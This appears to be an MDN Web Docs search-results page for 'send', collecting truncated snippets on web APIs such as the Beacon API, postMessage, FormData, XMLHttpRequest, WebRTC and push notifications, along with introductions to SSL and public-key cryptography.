sendhttprequest", "request": { "url": "http://localhost", "method": "get", "headers": [ { name: "header-name", value: "header value", }, // ... ], }, } the response packet is a network event actor grip: { "...
...And 10 more matches
Using the Beacon API - Web APIs
the beacon interface schedules an asynchronous and non-blocking request to a web server. beacon requests use http post and do not require a response. beacon requests are guaranteed to be initiated before the page unloads. this document contains examples of the beacon interfaces. see beacon api for an overview. navigator.
sendbeacon() the beacon api's navigator.
sendbeacon() method
sends a beacon request to the server in the global browsing context. the method takes two arguments: the url and the data to
send. the data argument is optional and its type may be an arraybufferview, blob, domstring, or formdata. if the browser successfully queues the request for delivery, the method returns true and returns false otherwise. the following example specifies a handler for the load a...
...lobal browsing context. the method takes two arguments: the url and the data to
send. the data argument is optional and its type may be an arraybufferview, blob, domstring, or formdata. if the browser successfully queues the request for delivery, the method returns true and returns false otherwise. the following example specifies a handler for the load and beforeunload events. the handler calls
sendbeacon() with the current url. ...
... and its type may be an arraybufferview, blob, domstring, or formdata. if the browser successfully queues the request for delivery, the method returns true and returns false otherwise. the following example specifies a handler for the load and beforeunload events. the handler calls
sendbeacon() with the current url. ...
...And 10 more matches
Communicating With Other Scripts - Archive of obsolete content
see the articles on using postmessage() and using port for details. content scripts content scripts loaded into the same document at the same time using the same method can interact with each other directly as well as with the web content itself. however, content scripts which have been loaded into different documents ca...
...s can't use window to access postmessage() and addeventlistener() and instead must use document.defaultview. see the section below on using postmessage() before firefox 31. you can communicate between the content script and page scripts using window.postmessage(). messaging from content script to page script suppose we have a page called "listen.html" hosted at "my-domain.org", and we want to
send messages from the add-on to a script embedded in that page. in the main add-on code, we have a page-mod that attaches the content script "talk.js" to the right page: var data = require("sdk/self").data; var pagemod = require("sdk/page-mod"); pagemod.pagemod({ include: "http://my-domain.org/listen.html", contentscriptfile: data.url("talk.js") }); the "talk.js" content script uses window.p...
...he add-on to a script embedded in that page. in the main add-on code, we have a page-mod that attaches the content script "talk.js" to the right page: var data = require("sdk/self").data; var pagemod = require("sdk/page-mod"); pagemod.pagemod({ include: "http://my-domain.org/listen.html", contentscriptfile: data.url("talk.js") }); the "talk.js" content script uses window.postmessage() to
send the message to the page: // content-script (talk.js) window.postmessage("message from content script", "http://my-domain.org/"); the second argument may be '*' which will allow communication with any domain. finally, "listen.html" uses window.addeventlistener() to listen for messages from the content script: <!doctype html> <html> <head></head> <body> <script> window.addeventli...
...And 9 more matches
Interacting with page scripts - Archive of obsolete content
, and simplicity, this is usually what you want. you don't want arbitrary web pages to be able to access objects in content scripts, and you don't want objects created by content scripts to clash with objects created by page scripts. but sometimes, you will want to share objects between the two scopes. ...
... content scripts can't use window to access postmessage() and addeventlistener() and instead must use document.defaultview. see the section below on using postmessage() before firefox 31. you can communicate between the content script and page scripts using window.postmessage(). content script to page script suppose we have a page called "listen.html" hosted at "my-domain.org", and we want to
send messages from the add-on to a script embedded in that page. in the main add-on code, we have a page-mod that attaches the content script "talk.js" to the right page: var data = require("sdk/self").data; var pagemod = require("sdk/page-mod"); pagemod.pagemod({ include: "http://my-domain.org/listen.html", contentscriptfile: data.url("talk.js") }); the "talk.js" content script uses window.p...
...he add-on to a script embedded in that page. in the main add-on code, we have a page-mod that attaches the content script "talk.js" to the right page: var data = require("sdk/self").data; var pagemod = require("sdk/page-mod"); pagemod.pagemod({ include: "http://my-domain.org/listen.html", contentscriptfile: data.url("talk.js") }); the "talk.js" content script uses window.postmessage() to
send the message to the page: // talk.js window.postmessage("message from content script", "http://my-domain.org/"); the second argument may be '*' which will allow communication with any domain. finally, "listen.html" uses window.addeventlistener() to listen for messages from the content script: <!doctype html> <html> <head></head> <body> <script> window.addeventlistener('message',...
...And 9 more matches
Introduction to Public-Key Cryptography - Archive of obsolete content
rview of encryption and decryption, see "encryption and decryption." information on digital signatures is available from "digital signatures." public-key cryptography is a set of well-established techniques and standards for protecting communications from eavesdropping, tampering, and impersonation attacks. encryption and decryption allow two communicating parties to disguise information they
send to each other. the
sender encrypts, or scrambles, information before
sending it. the receiver decrypts, or unscrambles, the information after receiving it. while in transit, the encrypted information is unintelligible to an intruder. tamper detection allows the recipient of information to verify that it has not been modified in transit. any attempt to modify data or substitute a false message fo...
...after receiving it. while in transit, the encrypted information is unintelligible to an intruder. tamper detection allows the recipient of information to verify that it has not been modified in transit. any attempt to modify data or substitute a false message for a legitimate one will be detected. authentication allows the recipient of information to determine its origin-that is, to confirm the
sender's identity. nonrepudiation prevents the
sender of information from claiming at a later date that the information was never sent. the sections that follow introduce the concepts of public-key cryptography that underlie these capabilities. certificates and authentication managing certificates certificates and authentication a certificate identifies someone or something authentication...
...tication refers to the confident identification of a server by a client (that is, identification of the organization assumed to be responsible for the server at a particular network address). client and server authentication are not the only forms of authentication that certificates support. for example, the digital signature on an email message, combined with the certificate that identifies the
sender, provide strong evidence that the person identified by that certificate did indeed
send that message. similarly, a digital signature on an html form, combined with a certificate that identifies the signer, can provide evidence, after the fact, that the person identified by that certificate did agree to the contents of the form. in addition to authentication, the digital signature in both cases ...
...And 9 more matches
Index - MDN Web Docs Glossary: Definitions of Web-related terms
tes where data is not actually deleted but marked as deleted via a status. 53 csp glossary, http, infrastructure a csp (content security policy) is used to detect and mitigate certain types of website related attacks like xss and data injections. 54 csrf glossary, security csrf (cross-site request forgery) is an attack that impersonates a trusted user and
sends a website unwanted commands. 55 css css, codingscripting, glossary, web, l10n:priority css (cascading style sheets) is a declarative language that controls how webpages look in the browser. 56 css object model (cssom) css, cssom, dom, glossary, web performance the css object model (cssom) is a map of all css selectors and relevant properties for each sel...
...ield, thereby indicating completeness, security and trustworthiness. 70 challenge-response authentication security in security protocols, a challenge is some data sent to the client by the server in order to generate a different response each time. challenge-response protocols are one way to fight against replay attacks where an attacker listens to the previous messages and re
sends them at a later time to get the same credentials as the original message. 71 character codingscripting, glossary, strings a character is either a symbol (letters, numbers, punctuation) or non-printing "control" (e.g., carriage return or soft hyphen). utf-8 is the most common character set and includes the graphemes of the most popular human languages. 72 characte...
...es. 190 gzip compression glossary, compression, gzip gzip is a file format used for file compression and decompression. it is based on the deflate algorithm that allows files to be made smaller in size which allows for faster network transfers. gzip is commonly supported by web servers and modern browsers, meaning that servers can automatically compress files with gzip before
sending them, and browsers can uncompress files upon receiving them. 191 hmac cryptography, glossary, hash, security hmac is a protocol used for cryptographically authenticating messages. 192 hpkp glossary, security http public key pinning (hpkp) is a security feature that tells a web client to associate a specific cryptographic public key with a certain web s...
...And 9 more matches
RTCDtlsTransport - Web APIs
a dtls transport is also used to provide information about sctp packets transmitted and received by an connection's data channels. ...
... { bundlepolicy: "max-bundle" }; const pc = new rtcpeerconnection(rtcconfig); bundling lets you use one rtcdtlstransport to carry the data for multiple higher-level transports, such as multiple rtcrtptransceivers. when not using bundle when the connection is created without using bundle, each rtp or rtcp component of each rtcrtptransceiver has its own rtcdtlstransport; that is, every rtcrtp
sender and rtcrtpreceiver, has its own transport, and all rtcdatachannel objects share a transport dedicated to sctp. when using bundle when the connection is using bundle, each rtcdtlstransport object represents a group of rtcrtptransceiver objects. if the connection was created using max-compat mode, each transport is responsible for handling all of the communications for a given type of media (au...
...munications. because transports are established early in the negotiation process, it's likely that it won't be known until after they're created whether or not the remote peer supports bundling or not. for this reason, you'll sometimes see separate transports created at first, one for each track, then see them get bundled up once it's known that bundling is possible. if your code accesses rtcrtp
senders and/or rtcrtpreceivers directly, you may encounter situations where they're initially separate, then half or more of them get closed and the
senders and receivers updated to refer to the appropriate remaining rtcdtlstransport objects. data channels rtcdatachannels use sctp to communicate. all of a peer connection's data channels share a single rtcsctptransport, found in the connection's sctp...
...And 9 more matches
RTCPeerConnection.addTrack() - Web APIs
stream... ...
...d be added. the specified track doesn't necessarily have to already be part of any of the specified streams. instead, the streams are simply a way to group tracks together on the receiving end of the connection, making sure they are synchronized. any tracks that are added to the same stream on the local end of the connection will be on the same stream on the remote end. return value the rtcrtp
sender object which will be used to transmit the media data. note: every rtcrtp
sender is paired with an rtcrtpreceiver to make up an rtcrtptransceiver. the associated receiver is muted (indicating that it is not able to deliver packets) until and unless one or more streams are added to the receiver by the remote peer. exceptions invalidaccesserror the specified track (or all of its underlying ...
... {video: true, audio: true}); for (const track of gumstream.gettracks()) { pc.addtrack(track, gumstream); } } the remote peer might then use a track event handler that looks like this: pc.ontrack = ({streams: [stream]} => videoelem.srcobject = stream; this sets the video element's current stream to the one that contains the track that's been added to the connection. ...
...And 9 more matches
RTCPeerConnection - Web APIs
candidate from the remote peer over its signaling channel, it delivers the newly-received candidate to the browser's ice agent by calling rtcpeerconnection.addicecandidate().addstream() the obsolete rtcpeerconnection method addstream() adds a mediastream as a local source of audio or video. ...
....getidentityassertion() method initiates the gathering of an identity assertion. this has an effect only if the signalingstate is not "closed".getreceivers() the rtcpeerconnection.getreceivers() method returns an array of rtcrtpreceiver objects, each of which represents one rtp receiver. ...
...the gathering of an identity assertion. this has an effect only if the signalingstate is not "closed".getreceivers() the rtcpeerconnection.getreceivers() method returns an array of rtcrtpreceiver objects, each of which represents one rtp receiver. ...
...And 9 more matches
Migrate apps from Internet Explorer to Mozilla - Archive of obsolete content
ernet explorer as well as all other browsers. for most issues mentioned below, mozilla will add an error or warning entry into the javascript console. check the javascript console if you encounter css-related issues. mimetypes (when css files are not applied) the most common css-related issue is that css definitions inside referenced css files are not applied. this is usually due to the server
sending the wrong mimetype for the css file. the css specification states that css files should be served with the text/css mimetype. mozilla will respect this and only load css files with that mimetype if the web page is in strict standards mode. internet explorer will always load the css file, no matter with which mimetype it is served. web pages are considered in strict standards mode when they sta...
...t css files should be served with the text/css mimetype. mozilla will respect this and only load css files with that mimetype if the web page is in strict standards mode. internet explorer will always load the css file, no matter with which mimetype it is served. web pages are considered in strict standards mode when they start with a strict doctype. to solve this problem, you can make the server
send the right mimetype or remove the doctype. i'll discuss more about doctypes in the next section. css and units many web applications do not use units with their css, especially when you use javascript to set the css. mozilla tolerates this, as long as the page is not rendered in strict mode. since internet explorer does not support true xhtml, it does not care if no units are specified. if the p...
... else if (window.activexobject){ // internet explorer, create a new xml document using activex // and use loadxml as a dom parser. mydocument = new activexobject("microsoft.xmldom"); mydocument.async = false; mydocument.loadxml(xmlstring); } else { // not supported. } see using xml data islands in mozilla for an alternative approach. xmlhttprequest internet explorer allows you to
send and retrieve xml files using msxml's xmlhttp class, which is instantiated through activex using new activexobject("msxml2.xmlhttp") or new activexobject("microsoft.xmlhttp"). since there is no standard method of doing this, mozilla provides the same functionality in the global javascript xmlhttprequest object. since version 7 ie also supports the "native" xmlhttprequest object. after instantiati...
...And 8 more matches
Introduction to SSL - Archive of obsolete content
tcp/ip networks: ssl server authentication allows a user to confirm a server's identity. ssl-enabled client software can use standard techniques of public-key cryptography to check that a server's certificate and public id are valid and have been issued by a certificate authority (ca) listed in the client's list of trusted cas. this confirmation might be important if the user, for example, is
sending a credit card number over the network and wants to check the receiving server's identity. ssl client authentication allows a server to confirm a user's identity. using the same techniques as those used for server authentication, ssl-enabled server software can check that a client's certificate and public id are valid and have been issued by a certificate authority (ca) listed in the server's ...
...sl client authentication allows a server to confirm a user's identity. using the same techniques as those used for server authentication, ssl-enabled server software can check that a client's certificate and public id are valid and have been issued by a certificate authority (ca) listed in the server's list of trusted cas. this confirmation might be important if the server, for example, is a bank
sending confidential financial information to a customer and wants to check the recipient's identity. an encrypted ssl connection requires all information sent between a client and a server to be encrypted by the
sending software and decrypted by the receiving software, thus providing a high degree of confidentiality. confidentiality is important for both parties to any private transaction. in additi...
...ring the session that follows. optionally, the handshake also allows the client to authenticate itself to the server. the exact programmatic details of the messages exchanged during the ssl handshake are beyond the scope of this document. ...
...And 8 more matches
Your first form - Learn web development
ve: to gain familiarity with what web forms are, what they are used for, how to think about designing them, and the basic html elements you'll need for simple cases. what are web forms? web forms are one of the main points of interaction between a user and a web site or application. forms allow users to enter data, which is generally sent to a web server for processing and storage (see
sending form data later in the module), or used on the client-side to immediately update the interface in some way (for example, add another item to a list, or show or hide a ui feature). a web form's html is made up of one or more form controls (sometimes called widgets), plus some additional elements to help structure the overall form — they are often referred to as html forms. the controls can b...
...ensive guide to web form usability article. uxmatters is also a very thoughtful resource with good advice from basic best practices to complex concerns such as multi-page forms. in this article, we'll build a simple contact form. let's make a rough sketch. our form will contain three text fields and one button. we are asking the user for their name, their e-mail and the message they want to
send. hitting the button will
send their data to a web server. active learning: implementing our form html ok, let's have a go at creating the html for our form. we will use the following html elements: <form>, <label>, <input>, <textarea>, and <button>. before you go any further, make a local copy of our simple html template — you'll enter your form html into here. the <form> element all forms...
...cally for containing forms; it also supports some specific attributes to configure the way the form behaves. all of its attributes are optional, but it's standard practice to always set at least the action and method attributes: the action attribute defines the location (url) where the form's collected data should be sent when it is submitted. the method attribute defines which http method to
send the data with (usually get or post). note: we'll look at how those attributes work in our
sending form data article later on. for now, add the above <form> element into your html <body>. the <label>, <input>, and <textarea> elements our contact form is not complex: the data entry portion contains three text fields, each with a corresponding <label>: the input field for the name is a sin...
...And 7 more matches
Introduction to the server side - Learn web development
de code is that it allows you to tailor website content for individual users. dynamic sites can highlight content that is more relevant based on user preferences and habits. it can also make sites easier to use by storing personal preferences and information — for example reusing stored credit card details to streamline subsequent payments. it can even allow interaction with users of the site,
sending notifications and updates via email or through other channels. all of these capabilities enable much deeper engagement with users. in the modern world of web development, learning about server-side development is highly recommended. what is server-side website programming? web browsers communicate with web servers using the hypertext transfer protocol (http). when you click a link on a web ...
... would contain the requested resource (e.g. a new html page, or an image, etc...), which could then be displayed by the web browser. static sites the diagram below shows a basic web server architecture for a static site (a static site is one that returns the same hard-coded content from the server whenever a particular resource is requested). when a user wants to navigate to a page, the browser
sends an http "get" request specifying its url. the server retrieves the requested document from its file system and returns an http response containing the document and a success status (usually 200 ok). if the file cannot be retrieved for some reason, an error status is returned (see client error responses and server error responses). dynamic sites a dynamic website is one where some of the res...
...c website html pages are normally created by inserting data from a database into placeholders in html templates (this is a much more efficient way of storing large amounts of content than using static websites). a dynamic site can return different data for a url based on information provided by the user or stored preferences and can perform other operations as part of returning a response (e.g. ...
...And 7 more matches
The HTML DOM API - Web APIs
atedworkerglobalscope messagechannel messageevent messageport sharedworker sharedworkerglobalscope worker workerglobalscope workerlocation workernavigator websocket interfaces these interfaces, defined by the html specification, are used by the websockets_api. ...
...ent events interfaces the eventsource interface represents the source which sent or is
sending server-sent events. eventsource examples in this example, an <input> element's input event is monitored in order to update the state of a form's "submit" button based on whether or not a given field currently has a value. ...
... interface represents the source which sent or is
sending server-sent events. eventsource examples in this example, an <input> element's input event is monitored in order to update the state of a form's "submit" button based on whether or not a given field currently has a value. ...
...And 7 more matches
Worker.prototype.postMessage() - Web APIs
syntax worker.postmessage(message, [transfer]); parameters message the object to deliver to the worker; this will be in the data field in the event delivered to the dedicatedworkerglobalscope.onmessage handler. ...
... syntax worker.postmessage(message, [transfer]); parameters message the object to deliver to the worker; this will be in the data field in the event delivered to the dedicatedworkerglobalscope.onmessage handler. ...
...ble objects are instances of classes like arraybuffer, messageport or imagebitmap objects that can be transferred. null is not an acceptable value for transfer. returns void. example the following code snippet shows the creation of a worker object using the worker() constructor. when either of two form inputs (first and second) have their values changed, change events invoke postmessage() to
send the value of both inputs to the current worker. var myworker = new worker('worker.js'); first.onchange = function() { myworker.postmessage([first.value,second.value]); console.log('message posted to worker'); } second.onchange = function() { myworker.postmessage([first.value,second.value]); console.log('message posted to worker'); } for a full example, see ourbasic dedicated worker e...
...And 7 more matches
MIME types (IANA media types) - HTTP
document, file, or assortment of bytes. it is defined and standardized in ietf's rfc 6838. the internet assigned numbers authority (iana) is responsible for all official mime types, and you can find the most up-to-date and complete list at their media types page. important: browsers use the mime type, not the file extension, to determine how to process a url, so it's important that web servers
send the correct mime type in the response's content-type header. if this is not correctly configured, browsers are likely to misinterpret the contents of files and sites will not work correctly, and downloaded files may be mishandled. structure of a mime type the simplest mime type consists of a type and a subtype; these are each strings which, when concatenated with a slash (/) between them, comp...
...te a category of document broken into pieces, often with different mime types; they can also be used — especially in email scenarios — to represent multiple, separate files which are all part of the same transaction. they represent a composite document. with the exception of multipart/form-data, used in the post method of html forms, and multipart/byteranges, used with 206 partial content to
send part of a document, http doesn't handle multipart documents in a special way: the message is transmitted to the browser (which will likely show a "save as" window if it doesn't know how to display the document). there are two multipart types: message list at iana a message that encapsulates other messages. this can be used, for instance, to represent an email that includes a forwarded messag...
...andle multipart documents in a special way: the message is transmitted to the browser (which will likely show a "save as" window if it doesn't know how to display the document). there are two multipart types: message list at iana a message that encapsulates other messages. this can be used, for instance, to represent an email that includes a forwarded message as part of its data, or to allow
sending very large messages in chunks as if it were multiple messages. examples include message/rfc822 (for forwarded or replied-to message quoting) and message/partial to allow breaking a large message into smaller ones automatically to be reassembled by the recipient. multipart list at iana data that is comprised of multiple components which may individually have different mime types. examples inc...
...And 7 more matches
How to make PWAs re-engageable using Notifications and Push - Progressive web apps (PWAs)
d more useful.) the advantage of the notifications api is that it uses the operating system's notification functionality. this means that notifications can be displayed to the user even when they are not looking at the web app, and the notifications look similar to ones displayed by native apps. push push is more complicated than notifications — we need to subscribe to a server that will then
send the data back to the app. the app's service worker will receive data from the push server, which can then be shown using the notifications system, or another mechanism if desired. the technology is still at a very early stage — some working examples use the google cloud messaging platform, but are being rewritten to support vapid (voluntary application identification), which offers an extra la...
...k offline with service workers article. inside the service worker, a push service subscription mechanism is created. registration.pushmanager.getsubscription() .then( /* ... */ ); once the user is subscribed, they can receive push notifications from the server. from the server-side, the whole process has to be encrypted with public and private keys for security reasons — allowing everyone to
send push messages unsecured using your app would be a terrible idea. see the web push data encryption test page for detailed information about securing the server. the server stores all the information received when the user subscribed, so the messages can be sent later on when needed. to receive push messages, we can listen to the push event in the service worker file: self.addeventlistener('push'...
...art. if not, we initialize a new subscription: const response = await fetch('./vapidpublickey'); const vapidpublickey = await response.text(); const convertedvapidkey = urlbase64touint8array(vapidpublickey); the app fetches the server's public key and converts the response to text; then it needs to be converted to a uint8array (to support chrome). to learn more about vapid keys you can read the
sending vapid identified webpush notifications via mozilla’s push service blog post. the app can now use the pushmanager to subscribe the new user. there are two options passed to the pushmanager.subscribe() method — the first is uservisibleonly: true, which means all the notifications sent to the user will be visible to them, and the second one is the applicationserverkey, which contains our suc...
...And 7 more matches
panel - Archive of obsolete content
this is usually the best approach. embedding an iframe in the panel, and changing its document setting the panel's contenturl property. however, doing this will cause any content scripts to be unloaded and then reloaded, so it may be less efficient, and you'll lose any state associated with the scripts. scripting pane...
...ur panel's content from your main add-on code. to access the panel's content, you need to load a script into the panel. in the sdk these scripts are called "content scripts" because they're explicitly used for interacting with web content. while content scripts can access the content they're attached to, they can't use the sdk's apis. so implementing a complete solution usually means you have to
send messages between the content script and the main add-on code. you can specify one or more content scripts to load into a panel using the contentscript or contentscriptfile options to the panel() constructor. you can communicate with the script using either the postmessage() api or (preferably, usually) the port api. for example, here's an add-on whose content script intercepts mou...
...the main add-on code. you can specify one or more content scripts to load into a panel using the contentscript or contentscriptfile options to the panel() constructor. you can communicate with the script using either the postmessage() api or (preferably, usually) the port api. for example, here's an add-on whose content script intercepts mouse clicks on links inside the panel, and
sends the target url to the main add-on code. the content script
sends messages using self.port.emit() and the add-on script receives them using panel.port.on(). var myscript = "window.addeventlistener('click', function(event) {" + " var t = event.target;" + " if (t.nodename == 'a')" + " self.port.emit('click-link', t.tostring());" + "}...
...And 6 more matches
Standard OS Libraries
ted from the os x header files githubgists :: noitidart / search · corefoundation - corefoundation js-ctypes snippets that can be copied and pasted to scratchpad cocoa see using objective-c from js-ctypes for more info. ...
...iles githubgists :: noitidart / search · corefoundation - corefoundation js-ctypes snippets that can be copied and pasted to scratchpad cocoa see using objective-c from js-ctypes for more info. ...
...ive-c based api from ctypes, use the following functions in libobjc.dylib: objc_getclass to get class sel_registername to register selector name objc_msg
send and some variants to
send message to class and instance objective-c code can be translated into c code by the following rule: // objective-c code nsevent loc = [nsevent mouselocation]; // pseudo c code nsevent loc = (nspoint)objc_msg
send(objc_getclass("nsevent"), sel_registername("mouselocation")); example: [nsevent mouselocation] components.utils.import("resource://gre/modules/ctypes.jsm"); let objc = ctypes.open(ctypes.libraryname("objc")); let id = ctypes.structtype("objc_object").ptr; let sel = ctypes.structtype("objc_selector").ptr; let objc_getclass = objc.declare("objc_getclass", ...
...And 6 more matches
Using FormData Objects - Web APIs
the formdata object lets you compile a set of key/value pairs to
send using xmlhttprequest. it is primarily intended for use in
sending form data, but can be used independently from forms in order to transmit keyed data. the transmitted data is in the same format that the form's submit() method would use to
send the data if the form's encoding type were set to multipart/form-data. creating a formdata object from scratch you can build a formdata object yourself, instantiating it then appending fields to it by calling its append() method, like this: var formdata = new formdata(); formdata.append("username", "groucho"); formdata.append("accountnum", 123456); // number 123456 is immediately converted to a string "123456" // html file input, chosen by user formdata.append("userfile", fileinpu...
... // html file input, chosen by user formdata.append("userfile", fileinputelement.files[0]); // javascript file-like object var content = '<a id="a"><b id="b">hey!</b></a>'; // the body of the new file... var blob = new blob([content], { type: "text/xml"}); formdata.append("webmasterfile", blob); var request = new xmlhttprequest(); request.open("post", "http://foo.com/submitform.php"); request.
send(formdata); note: the fields "userfile" and "webmasterfile" both contain a file. the number assigned to the field "accountnum" is immediately converted into a string by the formdata.append() method (the field's value can be a blob, file, or a string: if the value is neither a blob nor a file, the value is converted to a string). this example builds a formdata instance containing values for fiel...
...to the field "accountnum" is immediately converted into a string by the formdata.append() method (the field's value can be a blob, file, or a string: if the value is neither a blob nor a file, the value is converted to a string). this example builds a formdata instance containing values for fields named "username", "accountnum", "userfile" and "webmasterfile", then uses the xmlhttprequest method
send() to
send the form's data. the field "webmasterfile" is a blob. a blob object represents a file-like object of immutable, raw data. blobs represent data that isn't necessarily in a javascript-native format. the file interface is based on blob, inheriting blob functionality and expanding it to support files on the user's system. in order to build a blob you can invoke the blob() constructor. retr...
...And 6 more matches
RTCDtlsTransport.state - Web APIs
tion of a secure connection and verified the remote fingerprint. closed the transport has been closed intentionally as the result of receipt of a close_notify alert, or calling rtcpeerconnection.close(). failed the transport has failed as the result of an error (such as receipt of an error alert or failure to validate the remote fingerprint). ...
...int. closed the transport has been closed intentionally as the result of receipt of a close_notify alert, or calling rtcpeerconnection.close(). failed the transport has failed as the result of an error (such as receipt of an error alert or failure to validate the remote fingerprint). examples this example presents a function, tally
senders(), which iterates over an rtcpeerconnection's rtcrtp
senders, tallying up how many of them are in various states. ...
...d the transport has failed as the result of an error (such as receipt of an error alert or failure to validate the remote fingerprint). examples this example presents a function, tally
senders(), which iterates over an rtcpeerconnection's rtcrtp
senders, tallying up how many of them are in various states. the function returns an object containing properties whose values indicate how many of the
senders are in each state. let pc = new rtcpeerconnection({ bundlepolicy: "max-bundle" }); /* ... ...
...And 6 more matches
RTCPeerConnection.createOffer() - Web APIs
his will cause the returned offer to have different credentials than those already in place. if you then apply the returned offer, ice will restart. specify false to keep the same credentials and therefore not restart ice. the default is false. offertoreceiveaudio optional (legacy) a legacy boolean option which used to control whether or not to offer to the remote peer the opportunity to try to
send audio. if this value is false, the remote peer will not be offered to
send audio data, even if the local side will be
sending audio data. if this value is true, the remote peer will be offered to
send audio data, even if the local side will not be
sending audio data. the default behavior is to offer to receive audio only if the local side is
sending audio, not otherwise. to emulate this behavior...
... in modern implementations, the presence of this member with a value true, will ensure there is at least one transceiver set to receive audio that has not been stopped, and if there isn't one, one will be created. note: you shouldn't use this legacy property. instead, use rtcrtptransceiver to control whether or not to accept incoming audio. ...
...t one transceiver set to receive audio that has not been stopped, and if there isn't one, one will be created. note: you shouldn't use this legacy property. instead, use rtcrtptransceiver to control whether or not to accept incoming audio. offertoreceivevideo optional (legacy) a legacy boolean option which used to control whether or not to offer to the remote peer the opportunity to try to
send video. if this value is false, the remote peer will not be offered to
send video data, even if the local side will be
sending video data. if this value is true, the remote peer will be offered to
send video data, even if the local side will not be
sending video data. the default behavior is to offer to receive video only if the local side is
sending video, not otherwise. to emulate this behavior...
...And 6 more matches
Synchronous and asynchronous requests - Web APIs
eferred to synchronous requests for performance reasons. synchronous requests block the execution of code which causes "freezing" on the screen and an unresponsive user experience. asynchronous request if you use an asynchronous xmlhttprequest, you receive a callback when the data has been received. this lets the browser continue to work as normal while your request is being handled. example:
send a file to the console log this is the simplest usage of asynchronous xmlhttprequest. var xhr = new xmlhttprequest(); xhr.open("get", "/bar/foo.txt", true); xhr.onload = function (e) { if (xhr.readystate === 4) { if (xhr.status === 200) { console.log(xhr.responsetext); } else { console.error(xhr.statustext); } } }; xhr.onerror = function (e) { console.error(xhr.stat...
...onsole log this is the simplest usage of asynchronous xmlhttprequest. var xhr = new xmlhttprequest(); xhr.open("get", "/bar/foo.txt", true); xhr.onload = function (e) { if (xhr.readystate === 4) { if (xhr.status === 200) { console.log(xhr.responsetext); } else { console.error(xhr.statustext); } } }; xhr.onerror = function (e) { console.error(xhr.statustext); }; xhr.
send(null); line 2 specifies true for its third parameter to indicate that the request should be handled asynchronously. line 3 creates an event handler function object and assigns it to the request's onload attribute. this handler looks at the request's readystate to see if the transaction is complete in line 4; if it is, and the http status is 200, the handler dumps the received content. if an er...
... this.callback.apply(this, this.arguments); } function xhrerror() { console.error(this.statustext); } function loadfile(url, callback /*, opt_arg1, opt_arg2, ... ...
...And 6 more matches
Communicating using "port" - Archive of obsolete content
this page is now obsolete, and its content has been incorporated into the main page on content scripts. to enable add-on scripts and content scripts to communicate with each other, each end of the conversation has access to a port object. to
send messages from one side to the other, use port.emit() to receive messages sent from the other side, use port.on() messages are asynchronous: that is, the
sender does not wait for a reply from the recipient but just emits the message and continues processing. ...
...cripts to communicate with each other, each end of the conversation has access to a port object. to
send messages from one side to the other, use port.emit() to receive messages sent from the other side, use port.on() messages are asynchronous: that is, the
sender does not wait for a reply from the recipient but just emits the message and continues processing. ...
... it may be called with any number of parameters, but is most likely to be called with a name for the message and an optional payload. the payload can be any value that is serializable to json. from the content script to the...
...And 5 more matches
ui/sidebar - Archive of obsolete content
.css" type="text/css" rel="stylesheet"> </head> <body> <script type="text/javascript" src="stuff.js"></script> </body> </html> you can update the sidebar's content by setting the sidebar's url property. this will change the sidebar's content across all windows. communicating with sidebar scripts you can't directly access your sidebar's content from your main add-on code, but you can
send messages between your main add-on code and scripts loaded into your sidebar. on the sidebar end of the conversation, sidebar scripts get a global variable addon that contains a port for
sending and receiving messages. on the add-on side, you need to get a worker object for the sidebar before you can
send or receive messages. there are two events emitted by the sidebar which will give you a work...
...sten to attach if the first message in your add-on goes from the sidebar scripts to the main add-on code, and listen to ready if the first message goes from the main add-on code to the sidebar script. using attach the attach event is triggered whenever the dom for a new sidebar instance is loaded and its scripts are attached. the sidebar script may not be initialized yet, so you can't reliably
send messages to the sidebar script right away: however, you can start listening to messages from the script. here's a simple but complete add-on that shows how to set up communication between main.js and a script in a sidebar, in the case where the sidebar script initiates communication: the html file includes just a script, "sidebar.js": <!doctype html> <html> <body> content for my sidebar ...
.... here's a simple but complete add-on that shows how to set up communication between main.js and a script in a sidebar, in the case where the sidebar script initiates communication: the html file includes just a script, "sidebar.js": <!doctype html> <html> <body> content for my sidebar <script type="text/javascript" src="sidebar.js"></script> </body> </html> the "sidebar.js" file
sends a ping message to main.js using port.emit() as soon as it loads, and adds a listener to the pong message. addon.port.emit("ping"); addon.port.on("pong", function() { console.log("sidebar script got the reply"); }); the "main.js" file creates a sidebar object and adds a listener to its attach event. on attach, "main.js" starts listening to the ping message, and responds with a pong: var sid...
...And 5 more matches
Client-side form validation - Learn web development
y a round trip to the server and then back to the client-side to tell the user to fix their data. however, client-side validation should not be considered an exhaustive security measure! your apps should always perform security checks on any form-submitted data on the server-side as well as the client-side, because client-side validation is too easy to bypass, so malicious users can still easily
send bad data through to your server. read website security for an idea of what could happen; implementing server-side validation is somewhat beyond the scope of this module, but you should bear it in mind. what is form validation? go to any popular site with a registration form, and you will notice that they provide feedback when you don't enter your data in the format they are expecting. you'll ge...
...at defines a pattern the entered data needs to follow. if the data entered in a form field follows all of the rules specified by the above attributes, it is considered valid. if not, it is considered invalid. when an element is valid, the following things are true: the element matches the :valid css pseudo-class, which lets you apply a specific style to valid elements. if the user tries to
send the data, the browser will submit the form, provided there is nothing else stopping it from doing so (e.g., javascript). when an element is invalid, the following things are true: the element matches the :invalid css pseudo-class, and sometimes other ui pseudo-classes (e.g., :out-of-range) depending on the error, which lets you apply a specific style to invalid elements. if the user tries t...
...he data, the browser will submit the form, provided there is nothing else stopping it from doing so (e.g., javascript). when an element is invalid, the following things are true: the element matches the :invalid css pseudo-class, and sometimes other ui pseudo-classes (e.g., :out-of-range) depending on the error, which lets you apply a specific style to invalid elements. if the user tries to
send the data, the browser will block the form and display an error message. note: there are several errors that will prevent the form from being submitted, including a badinput, patternmismatch, rangeoverflow or rangeunderflow, stepmismatch, toolong or tooshort, typemismatch, valuemissing, or a customerror. built-in form validation examples in this section, we'll test out some of the attributes...
...And 5 more matches
Message manager overview
ifferent subtypes of frame message manager: the global message manager, the window message manager, and the browser message manager. all three enable chrome code to: load a script into a frame in the content the content process using a loadframescript() function. these scripts are called "frame scripts". communicate with frame scripts using addmessagelistener() and broadcastasyncmessage() or
sendasyncmessage() functions. note that in this context, "browser" refers to the xul <browser> object, which is a frame that hosts a single web document. it does not refer to the more general sense of a web browser. global message manager the global message manager operates on every <browser> (that is, every open content tab). loadframescript() loads the given script into every <browser> in...
...ontext, "browser" refers to the xul <browser> object, which is a frame that hosts a single web document. it does not refer to the more general sense of a web browser. global message manager the global message manager operates on every <browser> (that is, every open content tab). loadframescript() loads the given script into every <browser> in every browser window. broadcastasyncmessage()
